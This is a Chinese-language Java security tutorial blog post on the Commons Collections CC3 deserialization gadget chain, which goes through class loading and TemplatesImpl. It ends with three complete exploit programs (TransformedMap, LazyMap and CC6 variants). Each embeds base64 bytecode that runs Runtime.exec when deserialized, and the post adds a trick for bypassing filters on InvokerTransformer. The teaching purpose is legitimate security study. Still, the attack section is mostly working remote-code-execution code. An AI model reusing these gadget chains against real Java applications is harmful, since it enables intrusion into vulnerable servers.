[Java安全入门]六.CC3
一.前言前几天学了一下cc1和cc6，对于我来说有点小困难，不外经过几天沉淀，如今也是如拨开云雾见彼苍，经过一上午的复习对cc1和cc6又有深入的了解。所以，今天想多学一下cc3。cc3实行命令的方式与cc1和cc6不一样，不是通过ChainedTransformer来实行，而是通过动态加载类实行。
二.动态类加载机制
在JVM中，我们写的java源码被编译成.class字节码文件，然后由类加载器将class文件加载到JVM中实行。
三层加载器
Bootstrap classLoader：启动类加载器，重要负责加载焦点的类库(java.lang.*等)，构造 ExtClassLoader 和 APPClassLoader。
ExtClassLoader：拓展类加载器，重要负责加载 JAVA_HOME/lib/ext 目录下的一些扩展的 jar。
AppClassLoader：应用程序类加载器，重要负责加载应用程序的主函数类
先用ClassLoader类内里的loadClass方法从已加载的类缓存、父加载器等位置寻找类（这里现实上是双亲委派机制），在前面没有找到的情况下，就会交给ClassLoader类中 findClass方法；然后findClass方法根据底子路径指定的方式来加载类的字节码，可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码，然后将字节码交给 defineClass
双亲委派机制 当一个Hello.class这样的文件要被加载时，不考虑我们自定义类加载器。起首会在 AppClassLoader 中检查是否加载过，如果有那就无需再加载了。如果没有，那么会拿到父加载器，然后调用父加载器的 loadClass 方法。父类中同理也会先检查本身是否已经加载过，如果没有再往上。留意这个类似递归的过程，直到到达 Bootstrap ClassLoader 之前，都是在检查是否加载过，并不会选择本身去加载。直到 Bootstrap ClassLoader ，已经没有父加载器了，这时候开始考虑本身是否能加载了，如果本身无法加载，会下沉到子加载器去加载，不停到最底层，如果没有任何加载器能加载，就会抛出 ClassNotFoundException。
所以我们就可以通过defineClass来动态加载一个类,由于ClassLoader.defineClass是protected，无法在外部直接访问，所以可以通过反射调用。
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}//protected属性 public class Main {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
System.out.println(code);
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), null, code, 0, code.length);
hello.newInstance();
}
}
//字节流实现类函数 实现cc3需要找到一个重写了defineClass的类。
三.实现链
在TemplatesImpl类中重写了defineClass方法而且方法是fault类型，可以被外部访问
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
} 但是TransletClassLoader是内部类，无法直接构造，所以需要找到一个非内部方法而且调用了这类，正幸亏TemplatesImpl类的defineTransletClasses方法中构造了TransletClassLoader
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class;
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class = loader.defineClass(_bytecodes);
final Class superClass = _class.getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class.getName(), _class);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
} 该方法中通过for循环依次加载字节码_bytecodes中的内容赋值给Class数组_class
继承找调用defineTransletClasses方法的方法，在TemplatesImpl类的getTransletInstance方法中调用了 defineTransletClasses，更好的是内里由newInstance直接实例化类，就能完成命令实行了。
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class.newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
} 但getTransletInstance方法也是private属性，继承向上找，newTransformer方法调用了getTransletInstance方法，而且是public属性
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
} 所以如今就可以构造cc3
TemplatesImpl.newTransformer--->TemplatesImpl.getTransletInstance--->TemplatesImpl. defineTransletClasses--->TemplatesImpl.TransletClassLoader.defineClass
cc3还是挺丝滑的。
四.最终exp
Transformed版
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value); //因为属性都是私有属性，所以通过反射赋值
}
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}) //反射一个实例化对象并返回
};
ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链
Map<Object,Object> map = new HashMap<>();
map.put("value","test");//与cc1类似
Map transformedMap= TransformedMap.decorate(map, null, chain);
//反射调用AnnotationInvocationHandler类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class,transformedMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
out.writeObject(obj);
//序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
in.readObject();
//反序列化
}
} LazyMap版
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value); //因为属性都是私有属性，所以通过反射赋值
}
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}) //反射一个实例化对象并返回
};
ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链
Map<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chain);
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazymap);//注解随便传,反射实例化AnnotationInvocationHandler
Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//要触发invoke所以要动态代理
Object obj=constructor.newInstance(Target.class,proxy);
/* AnnotationInvocationHandler.readObject.entrySet->动态代理AnnotationInvocationHandler.invoke->Lazymap.get->chainedtransformer.transform*/
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
out.writeObject(obj);
//序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
in.readObject();
//反序列化
}
} cc6版
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value); //因为属性都是私有属性，所以通过反射赋值
}
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}) //反射一个实例化对象并返回
};
ChainedTransformer chain=new ChainedTransformer(transformers);
Map<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(hashMap,new ConstantFactory(0));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,"tao");
HashMap<Object,Object> hashMap1=new HashMap<>();
hashMap1.put(tiedMapEntry,"456");//put会直接执行命令,所以先将lazyMap改成没用的东西
lazymap.remove("tao");
Class clz=LazyMap.class;
Field field=clz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chain);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
out.writeObject(hashMap1);
//序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
in.readObject();
//反序列化
}
} 留意
transformers的两种写法
第一种
通例的利用InvokerTransformer来实现transformed链，先传入templatesImpl，然后调用它的newTransformer方法
Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)}; 第二种
有些情况下会过滤掉InvokerTransformer，所以使用TrAXFilter+InstantiateTransformer，也就是我上面的三种exp的写法
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
}; 这里是传入TrAXFilter类，然后由它作为object在传入InstantiateTransformer的transform方法
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
} 在InstantiateTransformer的tranform方法内里会生成传入object的构造器然后生成一个实例，而TrAXFilter的构造器内里恰好有newTransformer方法，非常奇妙
public TrAXFilter(Templates templates)throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
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